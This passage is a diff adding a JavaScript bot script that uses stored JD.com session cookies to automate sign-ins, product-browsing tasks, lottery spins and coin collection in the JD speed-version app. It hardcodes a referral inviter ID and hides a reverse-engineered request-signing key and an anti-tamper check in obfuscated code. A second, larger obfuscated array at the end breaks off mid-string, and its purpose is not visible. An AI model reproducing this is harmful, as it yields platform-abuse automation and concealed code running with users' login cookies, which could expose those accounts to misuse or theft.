+ console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`);
+ if (!$.isLogin) {
+ $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"});
+
+ if ($.isNode()) {
+ await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`);
+ }
+ continue
+ }
+ await jdGlobal()
+ await $.wait(2*1000)
+ }
+ }
+})()
+ .catch((e) => {
+ $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '')
+ })
+ .finally(() => {
+ $.done();
+ })
+
+async function jdGlobal() {
+ try {
+ await richManIndex()
+
+ await wheelsHome()
+ await apTaskList()
+ await wheelsHome()
+
+ await signInit()
+ await sign()
+ await invite()
+ await invite2()
+ $.score = 0
+ $.total = 0
+ await taskList()
+ await queryJoy()
+ await signInit()
+ await cash()
+ await showMsg()
+ } catch (e) {
+ $.logErr(e)
+ }
+}
+
+
+function showMsg() {
+ return new Promise(resolve => {
+ message += `本次运行获得${$.score}金币,共计${$.total}金币\n可兑换 ${($.total/10000).toFixed(2)} 元京东红包\n兑换入口:京东极速版->我的->金币`
+ $.msg($.name, '', `京东账号${$.index}${$.nickName}\n${message}`);
+ resolve()
+ })
+}
+
+async function signInit() {
+ return new Promise(resolve => {
+ $.get(taskUrl('speedSignInit', {
+ "activityId": "8a8fabf3cccb417f8e691b6774938bc2",
+ "kernelPlatform": "RN",
+ "inviterId":"gCBrvPfINCZc+dotfvHPlA=="
+ }), async (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (safeGet(data)) {
+ data = JSON.parse(data);
+ //console.log(data)
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+
+async function sign() {
+ return new Promise(resolve => {
+ $.get(taskUrl('speedSign', {
+ "kernelPlatform": "RN",
+ "activityId": "8a8fabf3cccb417f8e691b6774938bc2",
+ "noWaitPrize": "false"
+ }),
+ async (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (safeGet(data)) {
+ data = JSON.parse(data);
+ if (data.subCode === 0) {
+ console.log(`签到获得${data.data.signAmount}现金,共计获得${data.data.cashDrawAmount}`)
+ } else {
+ console.log(`签到失败,${data.msg}`)
+ }
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+
+async function taskList() {
+ return new Promise(resolve => {
+ $.get(taskUrl('ClientHandleService.execute', {
+ "version": "3.1.0",
+ "method": "newTaskCenterPage",
+ "data": {"channel": 1}
+ }),
+ async (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (safeGet(data)) {
+ data = JSON.parse(data);
+ for (let task of data.data) {
+ $.taskName = task.taskInfo.mainTitle
+ if (task.taskInfo.status === 0) {
+ if (task.taskType >= 1000) {
+ await doTask(task.taskType)
+ await $.wait(1000)
+ } else {
+ $.canStartNewItem = true
+ while ($.canStartNewItem) {
+ if (task.taskType !== 3) {
+ await queryItem(task.taskType)
+ } else {
+ await startItem("", task.taskType)
+ }
+ }
+ }
+ } else {
+ console.log(`${task.taskInfo.mainTitle}已完成`)
+ }
+ }
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+
+async function doTask(taskId) {
+ return new Promise(resolve => {
+ $.get(taskUrl('ClientHandleService.execute', {
+ "method": "marketTaskRewardPayment",
+ "data": {"channel": 1, "clientTime": +new Date() + 0.588, "activeType": taskId}
+ }), async (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (safeGet(data)) {
+ data = JSON.parse(data);
+ if (data.code === 0) {
+ console.log(`${data.data.taskInfo.mainTitle}任务完成成功,预计获得${data.data.reward}金币`)
+ } else {
+ console.log(`任务完成失败,${data.message}`)
+ }
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+
+async function queryJoy() {
+ return new Promise(resolve => {
+ $.get(taskUrl('ClientHandleService.execute', {"method": "queryJoyPage", "data": {"channel": 1}}),
+ async (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (safeGet(data)) {
+ data = JSON.parse(data);
+ if (data.data.taskBubbles)
+ for (let task of data.data.taskBubbles) {
+ await rewardTask(task.id, task.activeType)
+ await $.wait(500)
+ }
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+
+async function rewardTask(id, taskId) {
+ return new Promise(resolve => {
+ $.get(taskUrl('ClientHandleService.execute', {
+ "method": "joyTaskReward",
+ "data": {"id": id, "channel": 1, "clientTime": +new Date() + 0.588, "activeType": taskId}
+ }), async (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (safeGet(data)) {
+ data = JSON.parse(data);
+ if (data.code === 0) {
+ $.score += data.data.reward
+ console.log(`气泡收取成功,获得${data.data.reward}金币`)
+ } else {
+ console.log(`气泡收取失败,${data.message}`)
+ }
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+
+
+async function queryItem(activeType = 1) {
+ return new Promise(resolve => {
+ $.get(taskUrl('ClientHandleService.execute', {
+ "method": "queryNextTask",
+ "data": {"channel": 1, "activeType": activeType}
+ }), async (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (safeGet(data)) {
+ data = JSON.parse(data);
+ if (data.code === 0 && data.data) {
+ await startItem(data.data.nextResource, activeType)
+ } else {
+ console.log(`商品任务开启失败,${data.message}`)
+ $.canStartNewItem = false
+ }
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+
+async function startItem(activeId, activeType) {
+ return new Promise(resolve => {
+ $.get(taskUrl('ClientHandleService.execute', {
+ "method": "enterAndLeave",
+ "data": {
+ "activeId": activeId,
+ "clientTime": +new Date(),
+ "channel": "1",
+ "messageType": "1",
+ "activeType": activeType,
+ }
+ }), async (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (safeGet(data)) {
+ data = JSON.parse(data);
+ if (data.code === 0 && data.data) {
+ if (data.data.taskInfo.isTaskLimit === 0) {
+ let {videoBrowsing, taskCompletionProgress, taskCompletionLimit} = data.data.taskInfo
+ if (activeType !== 3)
+ videoBrowsing = activeType === 1 ? 5 : 10
+ console.log(`【${taskCompletionProgress + 1}/${taskCompletionLimit}】浏览商品任务记录成功,等待${videoBrowsing}秒`)
+ await $.wait(videoBrowsing * 1000)
+ await endItem(data.data.uuid, activeType, activeId, activeType === 3 ? videoBrowsing : "")
+ } else {
+ console.log(`${$.taskName}任务已达上限`)
+ $.canStartNewItem = false
+ }
+ } else {
+ $.canStartNewItem = false
+ console.log(`${$.taskName}任务开启失败,${data.message}`)
+ }
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+
+async function endItem(uuid, activeType, activeId = "", videoTimeLength = "") {
+ return new Promise(resolve => {
+ $.get(taskUrl('ClientHandleService.execute',
+ {
+ "method": "enterAndLeave",
+ "data": {
+ "channel": "1",
+ "clientTime": +new Date(),
+ "uuid": uuid,
+ "videoTimeLength": videoTimeLength,
+ "messageType": "2",
+ "activeType": activeType,
+ "activeId": activeId
+ }
+ }), async (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (safeGet(data)) {
+ data = JSON.parse(data);
+ if (data.code === 0 && data.isSuccess) {
+ await rewardItem(uuid, activeType, activeId, videoTimeLength)
+ } else {
+ console.log(`${$.taskName}任务结束失败,${data.message}`)
+ }
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+
+async function rewardItem(uuid, activeType, activeId = "", videoTimeLength = "") {
+ return new Promise(resolve => {
+ $.get(taskUrl('ClientHandleService.execute',
+ {
+ "method": "rewardPayment",
+ "data": {
+ "channel": "1",
+ "clientTime": +new Date(),
+ "uuid": uuid,
+ "videoTimeLength": videoTimeLength,
+ "messageType": "2",
+ "activeType": activeType,
+ "activeId": activeId
+ }
+ }), async (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (safeGet(data)) {
+ data = JSON.parse(data);
+ if (data.code === 0 && data.isSuccess) {
+ $.score += data.data.reward
+ console.log(`${$.taskName}任务完成,获得${data.data.reward}金币`)
+ } else {
+ console.log(`${$.taskName}任务失败,${data.message}`)
+ }
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+
+async function cash() {
+ return new Promise(resolve => {
+ $.get(taskUrl('MyAssetsService.execute',
+ {"method": "userCashRecord", "data": {"channel": 1, "pageNum": 1, "pageSize": 20}}),
+ async (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (safeGet(data)) {
+ data = JSON.parse(data);
+ $.total = data.data.goldBalance
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+
+// 大转盘
+function wheelsHome() {
+ return new Promise(resolve => {
+ $.get(taskGetUrl('wheelsHome',
+ {"linkId":"toxw9c5sy9xllGBr3QFdYg"}),
+ async (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (safeGet(data)) {
+ data = JSON.parse(data);
+ if(data.code ===0){
+ console.log(`【幸运大转盘】剩余抽奖机会:${data.data.lotteryChances}`)
+ while(data.data.lotteryChances--) {
+ await wheelsLottery()
+ await $.wait(500)
+ }
+ }
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+// 大转盘
+function wheelsLottery() {
+ return new Promise(resolve => {
+ $.get(taskGetUrl('wheelsLottery',
+ {"linkId":"toxw9c5sy9xllGBr3QFdYg"}),
+ async (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (safeGet(data)) {
+ data = JSON.parse(data);
+ if(data.data && data.data.rewardType){
+ console.log(`幸运大转盘抽奖获得:【${data.data.couponUsedValue}-${data.data.rewardValue}${data.data.couponDesc}】\n`)
+ message += `幸运大转盘抽奖获得:【${data.data.couponUsedValue}-${data.data.rewardValue}${data.data.couponDesc}】\n`
+ }else{
+ console.log(`幸运大转盘抽奖获得:空气`)
+ }
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+// 大转盘任务
+function apTaskList() {
+ return new Promise(resolve => {
+ $.get(taskGetUrl('apTaskList',
+ {"linkId":"toxw9c5sy9xllGBr3QFdYg"}),
+ async (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (safeGet(data)) {
+ data = JSON.parse(data);
+ if(data.code ===0){
+ for(let task of data.data){
+ // {"linkId":"toxw9c5sy9xllGBr3QFdYg","taskType":"SIGN","taskId":67,"channel":4}
+ if(!task.taskFinished && ['SIGN','BROWSE_CHANNEL'].includes(task.taskType)){
+ console.log(`去做任务${task.taskTitle}`)
+ await apDoTask(task.taskType,task.id,4,task.taskSourceUrl)
+ }
+ }
+ }
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+// 大转盘做任务
+function apDoTask(taskType,taskId,channel,itemId) {
+ // console.log({"linkId":"toxw9c5sy9xllGBr3QFdYg","taskType":taskType,"taskId":taskId,"channel":channel,"itemId":itemId})
+ return new Promise(resolve => {
+ $.get(taskGetUrl('apDoTask',
+ {"linkId":"toxw9c5sy9xllGBr3QFdYg","taskType":taskType,"taskId":taskId,"channel":channel,"itemId":itemId}),
+ async (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (safeGet(data)) {
+ data = JSON.parse(data);
+ if(data.code ===0 && data.data && data.data.finished){
+ console.log(`任务完成成功`)
+ }else{
+ console.log(JSON.stringify(data))
+ }
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+// 红包大富翁
+function richManIndex() {
+ return new Promise(resolve => {
+ $.get(taskUrl('richManIndex', {"actId":"hbdfw","needGoldToast":"true"}), async (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (safeGet(data)) {
+ data = JSON.parse(data);
+ if(data.code ===0 && data.data && data.data.userInfo){
+ console.log(`用户当前位置:${data.data.userInfo.position},剩余机会:${data.data.userInfo.randomTimes}`)
+ while(data.data.userInfo.randomTimes--){
+ await shootRichManDice()
+ }
+ }
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+// 红包大富翁
+function shootRichManDice() {
+ return new Promise(resolve => {
+ $.get(taskUrl('shootRichManDice', {"actId":"hbdfw"}), async (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (safeGet(data)) {
+ data = JSON.parse(data);
+ if(data.code ===0 && data.data && data.data.rewardType && data.data.couponDesc){
+ message += `红包大富翁抽奖获得:【${data.data.couponUsedValue}-${data.data.rewardValue} ${data.data.poolName}】\n`
+ console.log(`红包大富翁抽奖获得:【${data.data.couponUsedValue}-${data.data.rewardValue} ${data.data.poolName}】`)
+ }else{
+ console.log(`红包大富翁抽奖:获得空气`)
+ }
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+var __encode ='jsjiami.com',_a={}, _0xb483=["\x5F\x64\x65\x63\x6F\x64\x65","\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x73\x6F\x6A\x73\x6F\x6E\x2E\x63\x6F\x6D\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x6F\x62\x66\x75\x73\x63\x61\x74\x6F\x72\x2E\x68\x74\x6D\x6C"];(function(_0xd642x1){_0xd642x1[_0xb483[0]]= _0xb483[1]})(_a);var __Oxb24bc=["\x6C\x69\x74\x65\x2D\x61\x6E\x64\x72\x6F\x69\x64\x26","\x73\x74\x72\x69\x6E\x67\x69\x66\x79","\x26\x61\x6E\x64\x72\x6F\x69\x64\x26\x33\x2E\x31\x2E\x30\x26","\x26","\x26\x38\x34\x36\x63\x34\x63\x33\x32\x64\x61\x65\x39\x31\x30\x65\x66","\x31\x32\x61\x65\x61\x36\x35\x38\x66\x37\x36\x65\x34\x35\x33\x66\x61\x66\x38\x30\x33\x64\x31\x35\x63\x34\x30\x61\x37\x32\x65\x30","\x69\x73\x4E\x6F\x64\x65","\x63\x72\x79\x70\x74\x6F\x2D\x6A\x73","","\x61\x70\x69\x3F\x66\x75\x6E\x63\x74\x69\x6F\x6E\x49\x64\x3D","\x26\x62\x6F\x64\x79\x3D","\x26\x61\x70\x70\x69\x64\x3D\x6C\x69\x74\x65\x2D\x61\x6E\x64\x72\x6F\x69\x64\x26\x63\x6C\x69\x65\x6E\x74\x3D\x61\x6E\x64\x72\x6F\x69\x64\x26\x75\x75\x69\x64\x3D\x38\x34\x36\x63\x34\x63\x33\x32\x64\x61\x65\x39\x31\x30\x65\x66\x26\x63\x6C\x69\x65\x6E\x74\x56\x65\x72\x73\x69\x6F\x6E\x3D\x33\x2E\x31\x2E\x30\x26\x74\x3D","\x26\x73\x69\x67\x6E\x3D","\x61\x70\x69\x2E\x6D\x2E\x6A\x64\x2E\x63\x6F\x6D","\x2A\x2F\x2A","\x52\x4E","\x4A\x44\x4D\x6F\x62\x69\x6C\x65\x4C\x69\x74\x65\x2F\x33\x2E\x31\x2E\x30\x20\x28\x69\x50\x61\x64\x3B\x20\x69\x4F\x53\x20\x31\x34\x2E\x34\x3B\x20\x53\x63\x61\x6C\x65\x2F\x32\x2E\x30\x30\x29","\x7A\x68\x2D\x48\x61\x6E\x73\x2D\x43\x4E\x3B\x71\x3D\x31\x2C\x20\x6A\x61\x2D\x43\x4E\x3B\x71\x3D\x30\x2E\x39","\x75\x6E\x64\x65\x66\x69\x6E\x65\x64","\x6C\x6F\x67","\u5220\u9664","\u7248\u672C\u53F7\uFF0C\x6A\x73\u4F1A\u5B9A","\u671F\u5F39\u7A97\uFF0C","\u8FD8\u8BF7\u652F\u6301\u6211\u4EEC\u7684\u5DE5\u4F5C","\x6A\x73\x6A\x69\x61","\x6D\x69\x2E\x63\x6F\x6D"];function taskUrl(_0x7683x2,_0x7683x3= {}){let _0x7683x4=+ new Date();let _0x7683x5=`${__Oxb24bc[0x0]}${JSON[__Oxb24bc[0x1]](_0x7683x3)}${__Oxb24bc[0x2]}${_0x7683x2}${__Oxb24bc[0x3]}${_0x7683x4}${__Oxb24bc[0x4]}`;let _0x7683x6=__Oxb24bc[0x5];const _0x7683x7=$[__Oxb24bc[0x6]]()?require(__Oxb24bc[0x7]):CryptoJS;let _0x7683x8=_0x7683x7.HmacSHA256(_0x7683x5,_0x7683x6).toString();return {url:`${__Oxb24bc[0x8]}${JD_API_HOST}${__Oxb24bc[0x9]}${_0x7683x2}${__Oxb24bc[0xa]}${escape(JSON[__Oxb24bc[0x1]](_0x7683x3))}${__Oxb24bc[0xb]}${_0x7683x4}${__Oxb24bc[0xc]}${_0x7683x8}${__Oxb24bc[0x8]}`,headers:{'\x48\x6F\x73\x74':__Oxb24bc[0xd],'\x61\x63\x63\x65\x70\x74':__Oxb24bc[0xe],'\x6B\x65\x72\x6E\x65\x6C\x70\x6C\x61\x74\x66\x6F\x72\x6D':__Oxb24bc[0xf],'\x75\x73\x65\x72\x2D\x61\x67\x65\x6E\x74':__Oxb24bc[0x10],'\x61\x63\x63\x65\x70\x74\x2D\x6C\x61\x6E\x67\x75\x61\x67\x65':__Oxb24bc[0x11],'\x43\x6F\x6F\x6B\x69\x65':cookie}}}(function(_0x7683x9,_0x7683xa,_0x7683xb,_0x7683xc,_0x7683xd,_0x7683xe){_0x7683xe= __Oxb24bc[0x12];_0x7683xc= function(_0x7683xf){if( typeof alert!== _0x7683xe){alert(_0x7683xf)};if( typeof console!== _0x7683xe){console[__Oxb24bc[0x13]](_0x7683xf)}};_0x7683xb= function(_0x7683x7,_0x7683x9){return _0x7683x7+ _0x7683x9};_0x7683xd= _0x7683xb(__Oxb24bc[0x14],_0x7683xb(_0x7683xb(__Oxb24bc[0x15],__Oxb24bc[0x16]),__Oxb24bc[0x17]));try{_0x7683x9= __encode;if(!( typeof _0x7683x9!== _0x7683xe&& _0x7683x9=== _0x7683xb(__Oxb24bc[0x18],__Oxb24bc[0x19]))){_0x7683xc(_0x7683xd)}}catch(e){_0x7683xc(_0x7683xd)}})({})
+
+function taskGetUrl(function_id, body) {
+ return {
+ url: `https://api.m.jd.com/?appid=activities_platform&functionId=${function_id}&body=${escape(JSON.stringify(body))}&t=${+new Date()}`,
+ headers: {
+ 'Cookie': cookie,
+ 'Host': 'api.m.jd.com',
+ 'Accept': '*/*',
+ 'Connection': 'keep-alive',
+ 'user-agent': $.isNode() ? (process.env.JS_USER_AGENT ? process.env.JS_USER_AGENT : (require('./JS_USER_AGENTS').USER_AGENT)) : ($.getdata('JSUA') ? $.getdata('JSUA') : "'jdltapp;iPad;3.1.0;14.4;network/wifi;Mozilla/5.0 (iPad; CPU OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"),
+ 'Accept-Language': 'zh-Hans-CN;q=1,en-CN;q=0.9',
+ 'Accept-Encoding': 'gzip, deflate, br',
+ 'Content-Type': "application/x-www-form-urlencoded",
+ "referer": "https://an.jd.com/babelDiy/Zeus/q1eB6WUB8oC4eH1BsCLWvQakVsX/index.html"
+ }
+ }
+}
+
+var _0xod3='jsjiami.com.v6',_0x444a=[_0xod3,'KB9aAcKyw5V6aysLwpzCqELDqg7CqsKMVggVE8KdLsOS','CMOxK2LCqgsEYG83w7oeL8KsUg9DCcOPfBTCgQNM','wq10woh5wpPDmMOaAC11wqtpw54Lw719OnA8w6o9KkJ3wp5MwojDp8KKw6Zlw5pzAHxuXsK0w6BpdsKaw4HDlQ==','wqMaw6sTdEBxw7nDq8OIwqrCmh7DocKbTsK5U08pVQTCjmPCunRSZMOpBU19wqfCgMOXfXw7w5k1w4zCrsKHRw==','bj/ChcKOYipqPMKpTgBewojDiMOmCsOmw7l7V8ODNMKXwrHDmsO/c3bDgHIvGj/Dl2nCphPCpsKsw5dGw78Jwrw=','wpprwrE1wozDgsO3DCx1wo93','wqJffMO4MQx1KsOmwot/e8Obd8OGwr7Co2DDtwJtCsOMw7BjSMOjwpdjeAbDtmU=','YhbCtMKnby9Bw5XClyjDmGnCqAJ1w4snw6sqLsOWLWNywobDtxXCvk8OG2gw','ZcOCwpkkw4PCiVIqZcK9PMKZRTLDqMK7wqjCkhFAVWlLw6Zz','cHxERcKO','wrwzw6F4dcOpwp/CkhTDt8O7w7kFEcOUw4c=','wrFIwo1a','wrNPwrjCiMOYwqgjw61fw6w/HTTCr8ONwoLDuzfCmVYWwpnCn0keZsOGXTHCngPDt8KAwoFOA2cEV8OewodMVsKHw48OPMOAw6bDgMOOwotmw4HDk1srwrHCvsOLKgJaw6UDNCTCjTPCgXLDvcKvwqIVw77DtcKywrdRw7PDsjbCscOpMsKsw5rDjcO+EsOLw6JCfT0Xwr0WAcKXw5hXwq0RwpMQw6XDlsOONCrDo1PColnDswE5F8O5ZsK+wpEETx9VT13CrGsTGWrCug8KEcKAR8OBwq3DmU1kQcOFwq/DgMO8OcKzFg==','wozDqcKFLMKVEMOowpDDsQnDpgLCnMKXScK7JcKKGmsp','w59hwpDClcOJ','w5gTcx/DmQ==','wqtibsOgFA==','XwNDLsOd','wprDoMKMwqA4','w5lNwpDCssOq','asOIw55Yw64=','B8OPBcOHwrc=','wocUwoFFbQ==','wqzCscOow4nCqw==','dsOsw6h1w5g=','w4zCj8KJJhk=','RMKYbMKsw6Q=','w7JJwrPCi8Oe','wqN8LSHDvw==','wpbDvMKfOMKJRw==','wo7Dk8K0DMKw','w6tPw6VCWQ==','wr9/w5c4woA=','QMOYw69Kw5s=','wrhPw5QjHQ==','w5fCjQLCjTXCpQ==','w5LCrQc=','wqPDvRwBCcK9wp3Di8KHw5ofYmM=','w7dyw50=','wpTCrsOFw4rCu1vCksOgLcOpUMOpw7U=','woQMw4kbQg==','wrDDl8KZbRM=','w4F2wpnCtsOzwogUw5gqw5E=','MsOTB8ORwpjCvWg=','eBRcX8Ka','wol9w6UwKGUu','RSBhNsOA','NMK4AzLCpA==','P8KRwoXCoR/DmMOiwoIPw5XCjsKjdsOIQ3Z5GcO+w7AvNcK0w6Zmw5jDiBYUwopFwpIlDCjCj8Ov','AMKhwoPCpiY=','wohtw783PXggFcKNwqnCr8KWw5DCpMKKw6/CmHkgwrnCgMOoWcKOwqjCp8OLwq3Dn8KKwrvDocOWfxvCgT9gwpVfORjDkMK9w67DgzXCmMK1wpcLw4ZMwpY8wrLDoMO1QRnCtxnDpMOLwpNyYWTCvRVFw7TDsCZPw6MXw7XCgcKKJcKUVMKwwo/DtxvDkDjCokDDmcKnw54ACMOJwq/CkMOswpHDm1PDnENsw7UkNcKgCwUqw4Y=','wpTDksOxa00=','wrYJw77CkMOVwrk2wr9ewrQSAXbDtcKOw5zCo33ClABGw5/DmhhRJcOXSDXCmlzDtMKaw5BSEGdbJ8KXwqJRBw==','ccOFw6FHw7g=','IETDuBM=','aAPDusKxAxJJYwkAZgzDnwvCthnDqsOwKj4QK8KRwoc=','BMOow70RCsKGwqLDqy3DoGw3XRQdw6TDrQLCl0rCpcORw4bDlsKHwpBawox+wrPDi8OJX8KUw4kUPcOiBcKow6LCmkHDlQ==','wo7CpcO9w67CoGnCosOnJcODd8Ogw4p+dGMUwrdeHG0Dw4/Dtg==','w59zesOhM8ONwrTCpcOjwpvDlwAWw5vCkH3Cp3TCuTzDjcKpX1LDr2dXeVbCn8OFVnAFASl0TlzDr8KXWFBj','ZwnCgRN+w7vDoXrCr2bCtcKvZMOew6Juw6jCs8K3wrHCgmVvwqzCpcKkw6nDpcORbU3DjzzDncOTwqvDvcOewrzCoSckwr/DqA==','UMKDKcKHwr0Iwr4YNT0FwprCky9QETMXXzBRHMOgMcO2wpXCrxvDnMKAdz41w5IDwqI4JcOqSsK/dsOYBCvCv2TDrjof','w5XCqgLClHJQwrzDkE3CnVjDqRbCiUBaw6fCsMOsSnVgwp4wcsOOc8K+','LsKqBEnDsABYw648S2YeADxQEmB5Fw9FVUPDlMOgwoDDpcKtfVg=','MAPCi8O/Rztww7bCiRTDnw3CgENpw65pwrQ0I8KTEXM6','wpjCszVVw7PCh8O4wrfDusKcJMOnw6Z2wqHDl2XDpcOLwrl0BgNr','N1rDksKbwrIdwpwIPTfCi03CqCfClMO1wppywqDCp8ODwq1twpU/JHFFCDrDrcKkasKpw6sZwoQZwo/Cq8Omw4XDhz4=','FcKiOCvCgG12wq5uLkg3URFYSFVwYzR3AFPDgMOzw7TDqcK8LX0ldsK2w7cLw4nDjRZ6w6nCmsO7wo07','eAjCsyJvw4vDg0vCr3LCs8ObWcOkw68Mw7bDlcK9wpHDhhlew53Co8KWwrXDhMO9bHnDmS/Co8KgwqvDvsOrw5HCqnsswrPDqA==','JgVpwq1rG8Oxwr7Cp8O4w50x','w6EqdhvDksO1H8ObChhRwoDDvT/CvcKPaGrCtcKfMXQWw5fDrsO+F8KyaQ7DuW1K','wqJffMO4MQx1KsOmwot/e8OJKcOewqfDuG3DpQhnE8OOw7V9RcOvwpcsN0jCvCs=','XRzChMOFw5xVRcKhw5Ejw5HCjsOzwrTDgTnDiXViOcOsGSjDisKDS8OKKA==','wp7DtcOcP8KI','FnLCjsKoRxt1C8KpQDchwonDksKKDw==','wrTDlHvCnw==','EgLClMOZw5sOGsO+woMkw7fChsOjw6rDn2XCnSwzcMK5A2zCmsKWRsOAMTHDtAvCj8OTbsO4W8OFanTCjwZtwoTDj8OuWMKqbsO6DkTDkQtOSnZ2wqUdwrRywqLCg8OnWsKTwo1dW0BlwoXDikcgKnLCscKlw5LCisOFeFguHzTDsn1jwrlMQz5Fb8OaNsKKwp/CgsONw4lYw7Nww6PCpyICYcKdw7IVwo4bIHpvKH/DgsO1ezXDmnEWd8KYw6MZw7bDhCHCuWbDg8O+wogsL8KGw6oBw43Ct3jCncOGw4XDvcK8Xg==','w5bCijjCkiLDusK+ZxQcwpbDhsKdwqfCoMOkJwvDrGjClFDClcOzd3V1Rnc=','dxxebcKk','H3rDscKAwqE=','bTLCpzpx','w5zDmcOtw4rDnQ==','a0McXsK1','wpw3wqDClRk=','WhPCnxZE','DwVnw65L','T8KhccKXw5A=','P8O0w4spLw==','wqMHw4E8fg==','MkbDpsKWwrk=','wozDj0LCpA0=','SAbCnThn','VAXCksKYUQ==','XCrCjsK3Ww==','wofDt0fCsDk=','V8Oew6V4w5c=','wrh8w7Eswq0=','HQ1lw49y','M0PDnsKAwogf','ZgjCsg==','wqvDg8KRRcOSSVVMwp44a8Okw54=','wpLDqsOJ','USlKYMKgw6d4Yx0fwrDCrUY=','EGXDssKkwrw=','KHbDt8K8wqo=','K8KAMSPCnBR1w5tXLQ==','wo7DizcwO8KMwq4=','woLCpiLClWw=','wpg/wrzCowIXWA==','wq7DsMKCTcOI','wqTDtcKMWhg=','VMK9cMKfw5w=','IQBuw6ByXMO0wrTDgMO/wo8Vwp/DmkJqWB1aw7sddRtZwrISF2FUwohPNMKyw5/Ds0/CmcOEUcKCCMKlw4Q/ETRLIcKUfzHChgXCg8O1ZMOtw5ZPFGgMw4bDrcKqwoZqw4DCpBrCgcKiwoUtwrPDn1EUwoXDqkZ7NlRNw4Mwwow9w4kHADjCsQ==','LMOhw6grIw==','w6DCp8O2wpI/QcKpG8K2w4rDkcOPBMKXw5gVRGNOw77CmWxVYwHDmUfDh8KlBQ/Dnwg6